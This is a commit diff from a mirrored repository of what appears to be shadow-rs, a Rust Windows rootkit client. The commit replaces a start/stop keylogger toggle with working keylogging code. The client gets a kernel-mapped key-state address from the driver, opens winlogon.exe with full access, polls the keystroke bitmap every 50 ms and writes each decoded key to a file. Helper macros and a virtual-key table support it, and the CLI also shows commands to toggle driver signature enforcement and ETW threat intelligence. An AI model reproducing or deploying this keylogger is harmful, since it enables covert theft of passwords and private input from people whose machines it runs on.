mirror of
https://github.com/joaoviictorti/shadow-rs.git
synced 2026-01-30 12:44:19 +01:00
feature(driver): remove loop/thread for key state reading, added VAD root offset retrieval
- Removed the loop and thread for reading key states; now the client handles this, as the driver maps the address to user mode. - Added a function to retrieve the VAD root offset. - Refactored various parts of the code for clarity and performance.
This commit is contained in:
@@ -288,13 +288,9 @@ pub enum MisCommands {
|
||||
|
||||
/// Operations related to Keylogger.
|
||||
Keylogger {
|
||||
/// Stop the keylogger.
|
||||
#[arg(long)]
|
||||
stop: bool,
|
||||
|
||||
/// Start the keylogger.
|
||||
#[arg(long)]
|
||||
start: bool,
|
||||
/// File path for storing keylogger output
|
||||
#[arg(long, required = true)]
|
||||
file: String,
|
||||
},
|
||||
|
||||
/// Operations related to ETWTI.
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
use {
|
||||
cli::*,
|
||||
log::*,
|
||||
clap::Parser,
|
||||
log::*,
|
||||
shared::ioctls::*,
|
||||
utils::init_logger,
|
||||
clap::Parser,
|
||||
};
|
||||
use modules::{
|
||||
misc::Misc,
|
||||
@@ -21,6 +21,7 @@ use modules::registry::Registry;
|
||||
|
||||
mod cli;
|
||||
mod modules;
|
||||
#[macro_use]
|
||||
mod utils;
|
||||
|
||||
fn main() {
|
||||
@@ -117,12 +118,8 @@ fn main() {
|
||||
misc.dse(IOCTL_ENABLE_DSE, false);
|
||||
}
|
||||
}
|
||||
MisCommands::Keylogger { stop, start } => {
|
||||
if *start {
|
||||
misc.keylogger(IOCTL_KEYLOGGER, true);
|
||||
} else if *stop {
|
||||
misc.keylogger(IOCTL_KEYLOGGER, false);
|
||||
}
|
||||
MisCommands::Keylogger { file } => {
|
||||
misc.keylogger(IOCTL_KEYLOGGER, file);
|
||||
}
|
||||
MisCommands::Etwti { disable, enable } => {
|
||||
if *enable {
|
||||
|
||||
@@ -1,14 +1,33 @@
|
||||
use {
|
||||
log::*,
|
||||
crate::utils::open_driver,
|
||||
shared::structs::{Keylogger, DSE, ETWTI},
|
||||
std::{ffi::c_void, mem::size_of, ptr::null_mut},
|
||||
crate::utils::{
|
||||
vk_to_char, update_key_state, key_pressed,
|
||||
get_process_by_name, open_driver,
|
||||
},
|
||||
shared::structs::{DSE, ETWTI},
|
||||
std::{
|
||||
ffi::c_void, fs::OpenOptions, io::{BufWriter, Write},
|
||||
mem::size_of, ptr::null_mut, time::Duration
|
||||
},
|
||||
windows_sys::Win32::{
|
||||
System::IO::DeviceIoControl,
|
||||
Foundation::{CloseHandle, GetLastError, HANDLE},
|
||||
},
|
||||
System::{
|
||||
IO::DeviceIoControl,
|
||||
Diagnostics::Debug::ReadProcessMemory,
|
||||
Threading::{OpenProcess, PROCESS_ALL_ACCESS},
|
||||
},
|
||||
Foundation::{
|
||||
INVALID_HANDLE_VALUE, CloseHandle,
|
||||
GetLastError, HANDLE,
|
||||
},
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
/// Key states.
|
||||
pub static mut KEY_STATE: [u8; 64] = [0; 64];
|
||||
pub static mut KEY_PREVIOUS: [u8; 64] = [0; 64];
|
||||
pub static mut KEY_RECENT: [u8; 64] = [0; 64];
|
||||
|
||||
pub struct Misc {
|
||||
driver_handle: HANDLE,
|
||||
}
|
||||
@@ -45,29 +64,61 @@ impl Misc {
|
||||
}
|
||||
}
|
||||
|
||||
pub fn keylogger(self, ioctl_code: u32, state: bool) {
|
||||
debug!("Preparing Keylogger structure for {}", if state { "start" } else { "stop" });
|
||||
let mut keylogger = Keylogger { enable: state };
|
||||
|
||||
debug!("Sending DeviceIoControl command to {} Keylogger", if state { "start" } else { "stop" });
|
||||
let mut return_buffer = 0;
|
||||
let status = unsafe {
|
||||
DeviceIoControl(
|
||||
pub fn keylogger(self, ioctl_code: u32, file: &String) {
|
||||
unsafe {
|
||||
let mut address: usize = 0;
|
||||
let mut return_buffer = 0;
|
||||
let status = DeviceIoControl(
|
||||
self.driver_handle,
|
||||
ioctl_code,
|
||||
&mut keylogger as *mut _ as *mut c_void,
|
||||
std::mem::size_of::<Keylogger>() as u32,
|
||||
null_mut(),
|
||||
0,
|
||||
&mut address as *mut _ as *mut c_void,
|
||||
size_of::<usize>() as u32,
|
||||
&mut return_buffer,
|
||||
null_mut(),
|
||||
)
|
||||
};
|
||||
);
|
||||
|
||||
if status == 0 {
|
||||
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||
} else {
|
||||
info!("Keylogger {}", if state { "start" } else { "stop" })
|
||||
if status == 0 {
|
||||
error!("DeviceIoControl Failed With Status: 0x{:08X}", GetLastError());
|
||||
return;
|
||||
}
|
||||
|
||||
let pid = get_process_by_name("winlogon.exe").expect("Error retrieving pid from winlogon.exe");
|
||||
let h_process = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);
|
||||
if h_process == INVALID_HANDLE_VALUE {
|
||||
eprintln!("OpenProcess Failed With Error: {}", GetLastError());
|
||||
return;
|
||||
}
|
||||
|
||||
let file = OpenOptions::new()
|
||||
.append(true)
|
||||
.create(true)
|
||||
.open(file)
|
||||
.expect("Failed to open or create keylog file");
|
||||
let mut writer = BufWriter::new(file);
|
||||
let mut bytes_read = 0;
|
||||
|
||||
loop {
|
||||
core::ptr::copy_nonoverlapping(KEY_STATE.as_ptr(), KEY_PREVIOUS.as_mut_ptr(), 64);
|
||||
if ReadProcessMemory(h_process, address as *const c_void, KEY_STATE.as_mut_ptr() as _, size_of::<[u8; 64]>() as usize, &mut bytes_read) != 0 {
|
||||
update_key_state();
|
||||
|
||||
for i in 0..256 {
|
||||
if key_pressed(i as u8) {
|
||||
let key = vk_to_char(i as u8);
|
||||
debug!("{key}");
|
||||
writeln!(writer, "{}", key).expect("Failed to write to file");
|
||||
writer.flush().expect("Failed to flush file buffer");
|
||||
}
|
||||
}
|
||||
} else {
|
||||
eprintln!("Failed to read process memory");
|
||||
}
|
||||
|
||||
std::thread::sleep(Duration::from_millis(50));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -7,4 +7,4 @@ pub mod misc;
|
||||
pub mod module;
|
||||
pub mod process;
|
||||
pub mod thread;
|
||||
pub mod port;
|
||||
pub mod port;
|
||||
49
client/src/utils/keylogger.rs
Normal file
49
client/src/utils/keylogger.rs
Normal file
@@ -0,0 +1,49 @@
|
||||
use super::VK_CHARS;
|
||||
use crate::{
|
||||
is_key_down, set_key_down,
|
||||
modules::misc::{KEY_PREVIOUS, KEY_RECENT, KEY_STATE}
|
||||
};
|
||||
|
||||
/// Updates the status of the keys.
|
||||
pub unsafe fn update_key_state() {
|
||||
for i in 0..256 {
|
||||
if is_key_down!(KEY_STATE, i) && !(is_key_down!(KEY_PREVIOUS, i)) {
|
||||
set_key_down!(KEY_RECENT, i, true);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Checks if a key has been pressed.
|
||||
///
|
||||
/// # Parameters
|
||||
///
|
||||
/// - `key`: The key code.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// - `bool`: if the key was pressed, otherwise `false`.
|
||||
///
|
||||
pub unsafe fn key_pressed(key: u8) -> bool {
|
||||
let result = is_key_down!(KEY_RECENT, key);
|
||||
set_key_down!(KEY_RECENT, key, false);
|
||||
result
|
||||
}
|
||||
|
||||
/// Converts a virtual key code to a character.
|
||||
///
|
||||
/// # Parameters
|
||||
///
|
||||
/// - `key`: The code for the virtual key.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// - `&'static str`: A string representing the character corresponding to the code of the virtual key.
|
||||
///
|
||||
pub fn vk_to_char(key: u8) -> &'static str {
|
||||
for &(vk, char) in &VK_CHARS {
|
||||
if vk == key {
|
||||
return char;
|
||||
}
|
||||
}
|
||||
"UNKNOWN"
|
||||
}
|
||||
33
client/src/utils/macros.rs
Normal file
33
client/src/utils/macros.rs
Normal file
@@ -0,0 +1,33 @@
|
||||
// Reference: https://github.com/mirror/reactos/blob/c6d2b35ffc91e09f50dfb214ea58237509329d6b/reactos/win32ss/user/ntuser/input.h#L91
|
||||
|
||||
#[macro_export]
|
||||
macro_rules! get_ks_byte {
|
||||
($vk:expr) => {
|
||||
($vk as usize * 2 / 8)
|
||||
};
|
||||
}
|
||||
|
||||
#[macro_export]
|
||||
macro_rules! get_ks_down_bit {
|
||||
($vk:expr) => {
|
||||
1 << (($vk % 4) * 2)
|
||||
};
|
||||
}
|
||||
|
||||
#[macro_export]
|
||||
macro_rules! is_key_down {
|
||||
($ks:expr, $vk:expr) => {
|
||||
($ks[$crate::get_ks_byte!($vk)] & $crate::get_ks_down_bit!($vk)) != 0
|
||||
};
|
||||
}
|
||||
|
||||
#[macro_export]
|
||||
macro_rules! set_key_down {
|
||||
($ks:expr, $vk:expr, $down:expr) => {
|
||||
if $down {
|
||||
$ks[$crate::get_ks_byte!($vk)] |= $crate::get_ks_down_bit!($vk);
|
||||
} else {
|
||||
$ks[$crate::get_ks_byte!($vk)] &= !$crate::get_ks_down_bit!($vk);
|
||||
}
|
||||
};
|
||||
}
|
||||
@@ -2,6 +2,7 @@ use {
|
||||
log::*,
|
||||
colored::Colorize,
|
||||
env_logger::Builder,
|
||||
sysinfo::System,
|
||||
std::{path::Path, ptr::null_mut, io::Write},
|
||||
windows_sys::{
|
||||
w,
|
||||
@@ -18,6 +19,10 @@ use {
|
||||
},
|
||||
};
|
||||
|
||||
pub mod macros;
|
||||
pub mod keylogger;
|
||||
pub use keylogger::*;
|
||||
|
||||
pub const BANNER: &str = r#"
|
||||
_____ __ __
|
||||
/ ___// /_ ____ _____/ /___ _ __
|
||||
@@ -122,6 +127,29 @@ pub fn validate_sys_extension(val: &str) -> Result<String, String> {
|
||||
}
|
||||
}
|
||||
|
||||
/// Searches for the process ID (PID) of a running process by name.
|
||||
///
|
||||
/// # Parameters
|
||||
///
|
||||
/// - `name`: A reference to a string containing the name of the process to be searched.
|
||||
///
|
||||
/// # Return
|
||||
///
|
||||
/// -`Option<u32>`: Returns the PID of the process found, or `None` if no process with the specified name is found.
|
||||
///
|
||||
pub fn get_process_by_name(name: &str) -> Option<u32> {
|
||||
let mut system = System::new_all();
|
||||
system.refresh_all();
|
||||
|
||||
for (pid, process) in system.processes() {
|
||||
if process.name() == name {
|
||||
return Some(pid.as_u32());
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
/// Enum representing different callbacks in the system.
|
||||
#[derive(clap::ValueEnum, Clone, Debug, Copy)]
|
||||
pub enum Callbacks {
|
||||
@@ -231,3 +259,160 @@ impl PortType {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Mapping virtual key codes to characters.
|
||||
pub const VK_CHARS: [(u8, &'static str); 153] = [
|
||||
(0x01, "LEFT MOUSE BUTTON"),
|
||||
(0x02, "RIGTH MOUSE BUTTON"),
|
||||
(0x03, "CANCEL"),
|
||||
(0x04, "MIDDLE MOUSE BUTTON"),
|
||||
(0x05, "X1 MOUSE BUTTON"),
|
||||
(0x06, "X2 MOUSE BUTTON"),
|
||||
(0x08, "BACKSPACE"),
|
||||
(0x09, "TAB"),
|
||||
(0x0C, "CLEAR"),
|
||||
(0x0D, "ENTER"),
|
||||
(0x10, "SHIFT"),
|
||||
(0x11, "CONTROL"),
|
||||
(0x12, "ALT"),
|
||||
(0x13, "PAUSE"),
|
||||
(0x14, "CAPS LOCK"),
|
||||
(0x1B, "ESCAPE"),
|
||||
(0x20, "SPACEBAR"),
|
||||
(0x21, "PAGE UP"),
|
||||
(0x22, "PAGE DOWN"),
|
||||
(0x23, "END"),
|
||||
(0x24, "HOME"),
|
||||
(0x25, "LEFT ARROW"),
|
||||
(0x26, "UP ARROW"),
|
||||
(0x27, "RIGHT ARROW"),
|
||||
(0x28, "DOWN ARROW"),
|
||||
(0x29, "SELECT"),
|
||||
(0x2A, "PRINT"),
|
||||
(0x2B, "EXECUTE"),
|
||||
(0x2C, "PRINT SCREEN"),
|
||||
(0x2D, "INSERT"),
|
||||
(0x2E, "DELETE"),
|
||||
(0x2F, "HELP"),
|
||||
(0x5B, "LEFT WINDOWS"),
|
||||
(0x5C, "RIGHT WINDOWS"),
|
||||
(0x5D, "APPLICATIONS"),
|
||||
(0x5F, "SLEEP"),
|
||||
(0x60, "NUMPAD 0"),
|
||||
(0x61, "NUMPAD 1"),
|
||||
(0x62, "NUMPAD 2"),
|
||||
(0x63, "NUMPAD 3"),
|
||||
(0x64, "NUMPAD 4"),
|
||||
(0x65, "NUMPAD 5"),
|
||||
(0x66, "NUMPAD 6"),
|
||||
(0x67, "NUMPAD 7"),
|
||||
(0x68, "NUMPAD 8"),
|
||||
(0x69, "NUMPAD 9"),
|
||||
(0x6A, "NUMPAD *"),
|
||||
(0x6B, "NUMPAD +"),
|
||||
(0x6C, "SEPARATOR"),
|
||||
(0x6D, "NUMPAD -"),
|
||||
(0x6E, "NUMPAD ."),
|
||||
(0x6F, "NUMPAD /"),
|
||||
(0x70, "F1"),
|
||||
(0x71, "F2"),
|
||||
(0x72, "F3"),
|
||||
(0x73, "F4"),
|
||||
(0x74, "F5"),
|
||||
(0x75, "F6"),
|
||||
(0x76, "F7"),
|
||||
(0x77, "F8"),
|
||||
(0x78, "F9"),
|
||||
(0x79, "F10"),
|
||||
(0x7A, "F11"),
|
||||
(0x7B, "F12"),
|
||||
(0x7C, "F13"),
|
||||
(0x7D, "F14"),
|
||||
(0x7E, "F15"),
|
||||
(0x7F, "F16"),
|
||||
(0x80, "F17"),
|
||||
(0x81, "F18"),
|
||||
(0x82, "F19"),
|
||||
(0x83, "F20"),
|
||||
(0x84, "F21"),
|
||||
(0x85, "F22"),
|
||||
(0x86, "F23"),
|
||||
(0x87, "F24"),
|
||||
(0x90, "NUM LOCK"),
|
||||
(0x91, "SCROLL LOCK"),
|
||||
(0xA6, "BROWSER BACK"),
|
||||
(0xA7, "BROWSER FORWARD"),
|
||||
(0xA8, "BROWSER REFRESH"),
|
||||
(0xA9, "BROWSER STOP"),
|
||||
(0xAA, "BROWSER SEARCH"),
|
||||
(0xAB, "BROWSER FAVORITES"),
|
||||
(0xAC, "BROWSER HOME"),
|
||||
(0xAD, "VOLUME MUTE"),
|
||||
(0xAE, "VOLUME DOWN"),
|
||||
(0xAF, "VOLUME UP"),
|
||||
(0xB0, "MEDIA NEXT TRACK"),
|
||||
(0xB1, "MEDIA PREVIOUS TRACK"),
|
||||
(0xB2, "MEDIA STOP"),
|
||||
(0xB3, "MEDIA PLAY/PAUSE"),
|
||||
(0xB4, "LAUNCH MAIL"),
|
||||
(0xB5, "MEDIA SELECT"),
|
||||
(0xB6, "LAUNCH APPLICATION 1"),
|
||||
(0xB7, "LAUNCH APPLICATION 2"),
|
||||
(0xBA, "OEM 1"),
|
||||
(0xBB, "OEM +"),
|
||||
(0xBC, "OEM ,"),
|
||||
(0xBD, "OEM -"),
|
||||
(0xBE, "OEM ."),
|
||||
(0xBF, "OEM 2"),
|
||||
(0xC0, "OEM 3"),
|
||||
(0xDB, "OEM 4"),
|
||||
(0xDC, "OEM 5"),
|
||||
(0xDD, "OEM 6"),
|
||||
(0xDE, "OEM 7"),
|
||||
(0xDF, "OEM 8"),
|
||||
(0xE2, "OEM 102"),
|
||||
(0xE5, "IME PROCESS"),
|
||||
(0xE7, "PACKET"),
|
||||
(0xF6, "ATTN"),
|
||||
(0xF7, "CRSEL"),
|
||||
(0xF8, "EXSEL"),
|
||||
(0xF9, "EREOF"),
|
||||
(0xFA, "PLAY"),
|
||||
(0xFB, "ZOOM"),
|
||||
(0x30, "0"),
|
||||
(0x31, "1"),
|
||||
(0x32, "2"),
|
||||
(0x33, "3"),
|
||||
(0x34, "4"),
|
||||
(0x35, "5"),
|
||||
(0x36, "6"),
|
||||
(0x37, "7"),
|
||||
(0x38, "8"),
|
||||
(0x39, "9"),
|
||||
(0x41, "A"),
|
||||
(0x42, "B"),
|
||||
(0x43, "C"),
|
||||
(0x44, "D"),
|
||||
(0x45, "E"),
|
||||
(0x46, "F"),
|
||||
(0x47, "G"),
|
||||
(0x48, "H"),
|
||||
(0x49, "I"),
|
||||
(0x4A, "J"),
|
||||
(0x4B, "K"),
|
||||
(0x4C, "L"),
|
||||
(0x4D, "M"),
|
||||
(0x4E, "N"),
|
||||
(0x4F, "O"),
|
||||
(0x50, "P"),
|
||||
(0x51, "Q"),
|
||||
(0x52, "R"),
|
||||
(0x53, "S"),
|
||||
(0x54, "T"),
|
||||
(0x55, "U"),
|
||||
(0x56, "V"),
|
||||
(0x57, "W"),
|
||||
(0x58, "X"),
|
||||
(0x59, "Y"),
|
||||
(0x5A, "Z"),
|
||||
];
|
||||
Reference in New Issue
Block a user